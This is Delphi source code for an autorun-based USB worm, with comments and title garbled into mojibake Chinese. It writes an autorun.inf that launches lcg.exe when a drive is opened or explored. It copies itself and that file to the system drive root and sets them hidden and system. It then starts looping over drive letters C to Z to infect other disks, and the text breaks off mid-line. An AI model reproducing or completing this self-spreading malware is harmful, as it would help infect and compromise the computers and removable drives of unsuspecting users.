Delphi¼òµ¥UÅÌ´«È¾²¡¶¾

program Project1;
{$APPTYPE CONSOLE}
uses
   windows, Tlhelp32,   SysUtils;
//===========================»ñµÃϵͳĿ¼=======================================
function GetWinDir: string;
var
   Buf: array[0..MAX_PATH] of char;
begin
   GetSystemDirectory(Buf, MAX_PATH);
   Result := Buf;
   if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
//================================end===========================================
//=======================¸´ÖÆÎļþ========begin==================================
procedure copyfilecopyfile;
var
s,s1,s2,s3:string;
i:char;
inf:textfile;
begin
//========================´´½¨autorun.infÎļþ===================================
begin
s:=ExpandFileName(ParamStr(0));    //»ñÈ¡±¾³ÌÐòµÄÍêÕû·¾¶
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
FileSetAttr(s,0);
FileSetAttr(s1,0);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open=lcg.exe');
writeln(inf, 'shell\open=´ò¿ª(&O)');
writeLn(inf, 'shell\open\Command=lcg.exe');
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=×ÊÔ´¹ÜÀíÆ÷(&X)');
writeln(inf, 'shell\explore\Command=lcg.EXE');
closefile(inf);
end;
//=====================================end======================================
//=============================½«Îļþ¸´ÖƵ½ÏµÍ³ÅÌ·ûÏÂ===========================
    s2:=copy(getwindir,1,1);
    s3:=pchar(s2+':\autorun.inf');
    s2:=pchar(s2+':\lcg.exe');
    copyfile(pchar(s),pchar(s2),false);
    copyfile(pchar(s1),pchar(s3),false);
    FileSetAttr(s2,7);
    FileSetAttr(s3,7);
//==================================end=========================================
//=============================½«Îļþ¸´ÖƵ½¿ÉÒƶ¯´ÅÅÌ===========================
for i:='C' to 'Z' do
if GET